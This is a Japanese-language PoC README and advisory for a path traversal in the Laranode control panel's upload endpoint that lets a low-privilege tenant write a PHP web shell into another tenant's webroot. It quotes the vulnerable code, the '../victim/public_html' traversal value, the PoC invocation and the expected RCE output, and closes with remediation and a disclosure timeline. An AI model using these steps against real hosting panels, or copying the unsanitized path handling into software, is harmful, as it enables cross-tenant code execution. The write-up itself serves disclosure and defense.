
Path Traversal -> Laranode < 1.2.1 における RCE (CWE-22)。PoC + アドバイザリ解説。
許可されたセキュリティ研究。PoC は防御および教育目的でのみ使用してください。
Laranode のファイルマネージャーアップロードエンドポイントにおける認証済みパストラバーサルにより、低権限のテナントが自身のホームディレクトリ外に任意のファイルを書き込むことが可能になります — これには別のテナントの Web ルートへの PHP Web シェルの書き込みも含まれ、そのテナントとしてのリモートコード実行につながります。
| CVE | CVE-2026-100520 |
| 製品 | Laranode (マルチテナントホスティングコントロールパネル、Laravel) |
| 影響を受けるバージョン | >= 0, < 1.2.1 |
| 修正バージョン | v1.2.1 |
| 脆弱性 | パストラバーサル (CWE-22) → 任意ファイル書き込み → RCE |
| 権限 | 認証済み (任意の低権限パネルユーザー) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS 4.0 | 8.7 HIGH — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H |
| 発見者 | Alisher Qarshibayev |
| アドバイザリ | VulnCheck · GHSA-34h2-2696-vfvr |
app/Actions/Filemanager/UploadFileAction.php は、ユーザーが指定した path および originalName リクエストフィールドをテナントのホームディレクトリに直接連結して宛先パスを構築しています — 正規化もトラバーサルチェックもありません:
// app/Actions/Filemanager/UploadFileAction.php (< 1.2.1)
$r->validate([
'file' => 'required|file',
'originalName' => 'required|string|max:255',
'path' => 'required|string', // <-- attacker controlled, not sanitized
]);
$file = $r->file('file');
$path = '/home/' . $r->user()->systemUsername . '/' . $r->path; // <-- traversal sink
File::append($path . '/' . $r->originalName, $file->get()); // <-- arbitrary write
このルートは auth のみで保護されています — 認証済みのテナントであれば誰でも到達できます:
// routes/web.php
Route::post('/filemanager/upload-file', [FilemanagerController::class, 'uploadFile'])
->middleware(['auth'])->name('filemanager.uploadFile');
path が ../ シーケンスを受け入れるため、../victim/public_html のような値は呼び出し元のホームディレクトリを脱出し、アップロードを別のテナントの Web ルートに配置します。そこに .php ファイルを書き込むと、HTTP 経由でリクエストされた瞬間にコード実行が可能になります。
要件: 対象の Laranode インスタンス上の有効な低権限アカウント (これが CVE が想定する権限です)。PoC はログインし、CSRF トークンを取得し、トラバーサルを介して兄弟テナントの Web ルートにマーカー PHP ファイルを書き込みます。
python3 poc.py \
--url https://panel.example.com \
--user [email protected] \
--pass 'Password123' \
--victim victimuser \
--webroot public_html
期待される結果 — サーバーが攻撃者のホーム外への書き込み先を確認します:
[*] Logging in as [email protected] ...
[+] Authenticated, CSRF token acquired
[*] Uploading pwn_<rand>.php via path traversal ...
[+] Server destination: /home/victimuser/public_html/pwn_<rand>.php
[+] Verifying execution ...
[+] RCE confirmed: https://victim.example.com/pwn_<rand>.php -> CVE-2026-100520 <uname>
poc.py を参照してください。マーカーシェルは実行を証明するために id/uname を実行するだけです — 破壊的な動作はありません。
Laranode 1.2.1 にアップグレードしてください (修正コミット)。
この修正は解決されたパスを正規化し、テナントのホームディレクトリを脱出する宛先を拒否します (realpath() による包含チェック)。一般的なガイダンス: 生のユーザー入力からファイルシステムパスを構築しないでください — 正規化し、結果が許可されたベースディレクトリ内に留まることを確認してください。
| 日付 | イベント |
|---|---|
| 2026-09-21 | 公開開示日 |
| 2026-09-26 | CVE-2026-100520 が予約および公開 (VulnCheck) |
ベンダーに責任を持って開示し、VulnCheck を通じて調整されました。この PoC のリリース前に v1.2.1 で修正されました。防御および教育目的で公開されています。